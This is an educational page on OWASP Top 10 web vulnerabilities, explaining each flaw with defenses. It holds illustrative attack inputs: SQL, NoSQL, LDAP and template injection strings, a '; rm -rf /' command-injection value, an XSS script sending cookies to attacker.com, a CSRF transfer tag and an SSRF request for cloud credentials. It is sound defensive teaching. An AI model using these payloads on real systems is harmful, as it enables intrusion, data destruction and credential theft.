Web Vulnerabilities

Modern web applications are complex systems built on layers of frameworks, libraries, APIs, databases, and third-party services. Each layer introduces potential vulnerabilities that attackers actively hunt for. The OWASP (Open Worldwide Application Security Project) maintains the industry-standard list of the most critical web application security risks. Understanding these vulnerabilities is essential for both developers building applications and security professionals testing them.

A01: Broken Access Control

The #1 risk on the OWASP Top 10 (2021). Broken access control occurs when users can act outside their intended permissions.

Common Flaws

Insecure Direct Object Reference (IDOR): Changing a parameter in the URL to access another user’s data.

# User 1001 views their own invoice:
GET /api/invoices/1001

# Attacker changes the ID to view user 1002's invoice:
GET /api/invoices/1002    ← No authorization check!

Privilege escalation: A regular user accessing admin functionality by navigating directly to /admin/dashboard or modifying a role field in the request.
Missing function-level access control: The UI hides the “Delete User” button for non-admins, but the API endpoint DELETE /api/users/123 has no server-side authorization check.

Never rely on client-side controls (hiding buttons, disabling fields) for security. All authorization must be enforced on the server side. Attackers bypass the UI entirely and interact directly with your API.

Defense

Implement role-based access control (RBAC) or attribute-based access control (ABAC) on the server.
Deny by default: require explicit authorization for every endpoint.
Log and alert on access control failures.

A02: Cryptographic Failures

Previously called “Sensitive Data Exposure.” This covers failures in protecting data in transit and at rest.

Common Flaws

Transmitting sensitive data over HTTP instead of HTTPS
Using deprecated algorithms (MD5, SHA-1, DES, RC4)
Storing passwords in plaintext or with unsalted hashes
Hardcoding encryption keys in source code
Using weak or default TLS configurations

Real-world example: In 2013, Adobe suffered a breach exposing 153 million user records. Passwords were encrypted (not hashed) using 3DES in ECB mode with a single key, allowing attackers to decrypt them. ECB mode is particularly dangerous because identical plaintexts produce identical ciphertexts, revealing patterns.

A03: Injection

Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query.

SQL Injection (SQLi)

The most well-known injection attack. An attacker manipulates a SQL query by injecting code through user input. Vulnerable code:

# NEVER DO THIS - string concatenation with user input
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"

Attack input:

username: admin' --
password: anything

Resulting query:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'

The -- comments out the password check, granting access to the admin account without knowing the password. Secure code (parameterized query):

# ALWAYS use parameterized queries
cursor.execute(
    "SELECT * FROM users WHERE username = %s AND password = %s",
    (username, password)
)

Other Injection Types

Type	Target	Example
NoSQL Injection	MongoDB, CouchDB	`{"username": {"$gt": ""}, "password": {"$gt": ""}}`
OS Command Injection	System shell	`; rm -rf /` appended to a filename input
LDAP Injection	Directory services	`)(uid=))(	(uid=*` to bypass authentication
Template Injection (SSTI)	Server-side templates (Jinja2, Twig)	`{{7*7}}` renders as `49`; confirming code execution

A04: Insecure Design

This category addresses flaws in the architecture and design of the application, not implementation bugs, but missing security controls that should have been designed in from the start. Examples:

A password recovery flow that allows unlimited attempts with no rate limiting
A checkout process that trusts client-side price calculations
An API that returns full user objects (including sensitive fields) when only the username was requested

Defense: Threat modeling during the design phase (STRIDE methodology), secure design patterns, and abuse case analysis.

A05: Security Misconfiguration

The most common vulnerability in real-world deployments. It occurs when security settings are left at insecure defaults or improperly configured.

Common Misconfigurations

Default admin credentials (admin/admin, root/password)
Unnecessary services, ports, or features enabled
Verbose error messages exposing stack traces and internal paths
Directory listing enabled on web servers
Missing security headers (Content-Security-Policy, X-Frame-Options, Strict-Transport-Security)
Cloud storage buckets (S3, GCS) left publicly accessible

Real-world example: In 2017, a misconfigured AWS S3 bucket belonging to a US military contractor exposed Top Secret intelligence data, including passwords, security credentials, and the private keys to a Pentagon system.

A07: Cross-Site Scripting (XSS)

XSS occurs when an application includes untrusted data in a web page without proper validation or encoding.

Types of XSS

Type	Mechanism	Persistence
Stored XSS	Malicious script saved in the database (e.g., in a comment field). Executes when any user views the page.	Persistent
Reflected XSS	Malicious script embedded in a URL. Executes when a victim clicks the crafted link.	Non-persistent
DOM-based XSS	Client-side JavaScript modifies the DOM using untrusted data (e.g., `document.location.hash`).	Non-persistent

Example payload:

<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>

If this script executes in a victim’s browser, it sends their session cookie to the attacker, enabling session hijacking.

Defense

Output encoding: Encode all user-supplied data before rendering it in HTML, JavaScript, CSS, or URLs. Use context-aware encoding.
Content Security Policy (CSP): A browser-enforced header that restricts which scripts can execute on your page.
Framework protections: React, Angular, and Vue automatically encode output by default. Never bypass these protections (e.g., dangerouslySetInnerHTML in React) without sanitization.

A08: Cross-Site Request Forgery (CSRF)

CSRF tricks a victim’s browser into making an unwanted request to a site where they are authenticated. Attack scenario:

Victim is logged into their bank at bank.com.
Victim visits a malicious page that contains: <img src="https://bank.com/transfer?to=attacker&amount=10000">
The browser automatically includes the victim’s session cookie with the request.
The bank processes the transfer because the request appears legitimate.

Defense

Anti-CSRF tokens: Include a unique, unpredictable token in every state-changing form. The server validates the token before processing the request.
SameSite cookies: Set the SameSite attribute on session cookies to Strict or Lax to prevent the browser from sending cookies with cross-origin requests.
Require re-authentication: For sensitive actions (password changes, fund transfers), require the user to re-enter their password.

A10: Server-Side Request Forgery (SSRF)

SSRF occurs when an attacker can make the server send HTTP requests to arbitrary destinations, including internal services that are not directly accessible from the internet. Attack scenario:

# Normal request - fetch a URL for preview
POST /api/fetch-url
{"url": "https://example.com/article"}

# SSRF attack - access internal metadata service
POST /api/fetch-url
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

The cloud metadata endpoint (169.254.169.254) is only accessible from within the cloud instance. An SSRF vulnerability allows the attacker to reach it through the server, potentially stealing cloud credentials. Real-world example: The 2019 Capital One breach (100M+ customer records exposed) was enabled by an SSRF vulnerability that allowed the attacker to access AWS IAM credentials from the EC2 metadata service.

Defense

Validate and sanitize all user-supplied URLs
Use allowlists for permitted domains/IP ranges
Block requests to internal IP ranges (10.x.x.x, 172.16.x.x, 192.168.x.x, 169.254.x.x)
Use the IMDSv2 (Instance Metadata Service v2) on AWS, which requires a session token

Key Takeaways

Never trust user input: Validate, sanitize, and encode everything.
Authorize on the server: Client-side controls are cosmetic, not security.
Use parameterized queries: The only reliable defense against SQL injection.
Implement CSP headers: Defense in depth against XSS.
Protect against CSRF: Use anti-CSRF tokens and SameSite cookies.
Block SSRF: Validate URLs, block internal IPs, use cloud metadata service v2.
Audit configurations: Default settings are almost never secure.

Documentation Index

​Web Vulnerabilities

​A01: Broken Access Control

​Common Flaws

​Defense

​A02: Cryptographic Failures

​Common Flaws

​A03: Injection

​SQL Injection (SQLi)

​Other Injection Types

​A04: Insecure Design

​A05: Security Misconfiguration

​Common Misconfigurations

​A07: Cross-Site Scripting (XSS)

​Types of XSS

​Defense

​A08: Cross-Site Request Forgery (CSRF)

​Defense

​A10: Server-Side Request Forgery (SSRF)

​Defense

​Key Takeaways

Web Vulnerabilities

A01: Broken Access Control

Common Flaws

Defense

A02: Cryptographic Failures

Common Flaws

A03: Injection

SQL Injection (SQLi)

Other Injection Types

A04: Insecure Design

A05: Security Misconfiguration

Common Misconfigurations

A07: Cross-Site Scripting (XSS)

Types of XSS

Defense

A08: Cross-Site Request Forgery (CSRF)

Defense

A10: Server-Side Request Forgery (SSRF)

Defense

Key Takeaways